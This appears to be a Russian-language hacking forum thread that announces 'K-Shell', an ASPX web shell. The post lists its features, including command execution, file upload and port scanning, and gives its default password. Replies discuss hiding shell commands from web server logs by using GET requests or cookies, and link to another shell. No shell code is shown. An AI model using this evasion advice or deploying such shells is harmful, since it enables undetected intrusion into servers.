K-Shell by kikicoco VHS version 1.2 edition (.aspx)

[Pashkela]

Данная утилита предназначенна для системных администраторов для удаленного управления своим сервером. Любое незаконное использование скрипта преследуется по закону.

last update: 06.05.2013 21:20

Что может:

• Wso-style
• Server IP
• Client IP
• HostName
• Username
• OS Version
• IIS Version
• System Dir
• PATH_TRANSLATED
• Hardware Info
• SQL
• Upload file
• CMD
• System Info
• List Processes
• List User Accounts
• IIS Anonymous User
• Port Scanner
• Application Event Log
• System Log
• Create new file or dir
• File manager: Name|Size|Modify|Actions=>Edit|Cut|Copy|Rename|Dow nload|Del
• MD5 password support => md5(pass)
• GET Method
• Self edit in browser

Size: 61,4 KB

pass: rooot

PS: много где пишут, что

shell for asp,aspx,cfm

[Воришко]

GET Method чем он лучше POST ?

[t0ma5]

Сообщение от Воришко

GET Method чем он лучше POST ?

Если query_string не содержит ничего подозрительного, то GET определенно лучше POST. Так как POST подразумевает работу со скриптом, в отличии от GET, в котором это выражено не так явно.
В общем палится меньше.

[12309]

предыдущий пост не осилил.
гет запросы пишутся в лог веб-сервера, поэтому они, теоретически, палевнее, чем пост.

[16bit]

Сообщение от 12309

предыдущий пост не осилил.
гет запросы пишутся в лог веб-сервера, поэтому они, теоретически, палевнее, чем пост.

если передавать команды через куки или какие-нить другие заголовки,то в логи ничего не попадёт.
видимо это автор и имел ввиду

[12309]

сам скрипт все равно в логи попадёт, не будет только значений переданных переменных.

[3acuson]

Help народ,как починить Аплоад файлов в шелле при загрузке вылетает

http://url/1.aspx?src=%3C%=server.UrlEncode(url)%%3E
Server Error in '/' Application.
Runtime Error ....

вот другой шелл с меньшим функционалом http://dl.packetstormsecurity.net/UNIX/penetration/aspxshell.aspx.txt все работает отлично.
В чем может быть причина?
Firefox 25

[x999xx]

проверим сегодня